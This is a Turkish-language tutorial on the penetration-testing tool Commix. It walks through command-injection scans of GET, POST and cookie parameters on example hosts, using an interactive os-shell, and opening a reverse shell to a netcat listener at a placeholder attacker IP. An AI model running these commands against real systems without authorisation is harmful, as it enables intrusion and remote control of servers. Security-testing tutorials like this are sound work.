**Commix**, (COMMand Injection eXploiter) otomatikleştirilmiş bir **komut enjeksiyonu zafiyeti tespit ve istismar aracı**dır. Web uygulamalarında kullanıcıdan alınan parametrelerin uygun şekilde filtrelenmemesi sonucu oluşan **OS command injection** açıklarını bulur ve sömürür.

Python ile yazılmıştır, açık kaynaklıdır ve Kali Linux gibi sızma testi dağıtımlarında ön yüklü gelir.

**Bu Aracın Özellikleri Nelerdir?**

* **GET ve POST parametrelerinde zafiyet taraması**
* **Cookie ve User-Agent gibi başlıklarda test yapabilir**
* **Reverse shell açabilir**
* **Dosya okuma/yazma/indirme yeteneği**
* **Payload obfuscation / bypass teknikleri**
* **Tam otomatik veya manuel kullanım**

**Commix Aracını Kali Linux Üzerinde Kullanma Adımları**

**Adım 1: Commix Kurulu mu Kontrol Edin / Gerekirse Kurun**

“which commix” ile kontrol edebilirsiniz

Eğer yüklü değil ise :

“sudo apt update && sudo apt install commix -y”

**Adım 2: Hedef URL’de Zafiyet Tespiti (GET Parametresi)**

Örnek Hedef : <http://testsite.com/vuln.php?input=TEST>

Komut :

“commix --url=<http://testsite.com/vuln.php?input=TEST>”

ekran görüntüsü, metin, yazı tipi içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 3: Komut Satırı (OS Shell) Kullanımı**

Zafiyet bulunduğunda commix(os-shell) > satırı gelir. Burada komut çalıştırabilirsiniz.

“commix(os-shell) > whoami”

**Adım 4: POST Parametresi ile Test**

Örnek form URL: <http://target.com/login.php>

Komut :

“commix --url="http://target.com/login.php" --data="username=admin&password=pass"”

metin, yazı tipi, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 5: Cookie Başlığına Enjeksiyon Denemesi**

“commix --url="http://target.com/profile.php" --cookie="auth=TEST"”



**Adım 6: Reverse Shell Alma**

Kali tarafında dinleyici başlatılır:

“nc -lvnp 4444”

Commix şu şekilde çalıştırılır:

“commix --url="http://target.com/vuln.php?cmd=TEST" --os-shell --reverse-shell --lhost=YOUR\_IP --lport=4444”

metin, yazı tipi, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu